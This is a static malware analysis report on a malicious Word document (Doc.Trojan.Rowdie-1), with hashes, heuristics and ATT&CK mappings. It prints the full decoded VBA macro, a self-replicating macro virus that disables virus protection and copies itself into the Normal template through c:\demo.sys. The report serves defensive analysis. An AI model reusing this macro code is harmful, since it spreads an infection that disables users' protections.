Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 510aff08936d1f7c…

MALICIOUS

Office (OLE)

27.5 KB Created: 2009-08-26 11:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1b943a3983a2fa4db7d1ac84ea24d7f8 SHA-1: d962b51e50bcbb8ff92ec43fdcf877e6aac55ee5 SHA-256: 510aff08936d1f7c84fe40467d864f8c0a68310116b3dd989c04c69c1b72ab95
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing a VBA macro. The AutoClose macro attempts to export its own code to 'c:\demo.sys' and then import it into either the Normal template or the active document, indicating a likely attempt at persistence. The ClamAV detection 'Doc.Trojan.Rowdie-1' further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Rowdie-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Rowdie-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1469 bytes
SHA-256: 7dcc5617081dd26bb421ac0299e231ddd9a42d6f4d66af57f7febf6a100ebab7
Detection
ClamAV: Doc.Trojan.Rowdie-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module11"

Sub AutoClose()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
NormInstall = False
ActiveInstall = False
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).CodeModule.Lines(3, 1) = "Sub AutoClose()" Then
NormInstall = True
Exit For
End If
Next i
For ii = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(ii).CodeModule.Lines(3, 1) = "Sub AutoClose()" Then
ActivInstall = True
Exit For
End If
Next ii
If NormInstall = True Then NormalTemplate.VBProject.VBComponents(i).Export "c:\demo.sys"
If ActivInstall = True Then ActiveDocument.VBProject.VBComponents(ii).Export "c:\demo.sys"
If NormInstall = False Then
Set Dobj = NormalTemplate.VBProject
Else
If ActivInstall = False And NormInstall = True Then Set Dobj = ActiveDocument.VBProject
act = 1
End If
If act = 1 Then
Dobj.VBComponents.Import ("c:\demo.sys")
ActiveDocument.Save
ActiveDocument.Saved = True
Exit Sub
End If
Dobj.VBComponents.Import ("c:\demo.sys")
End Sub
Sub ViewVBCode()
'This is Buggy by Roadkil[UC] 1999'
End Sub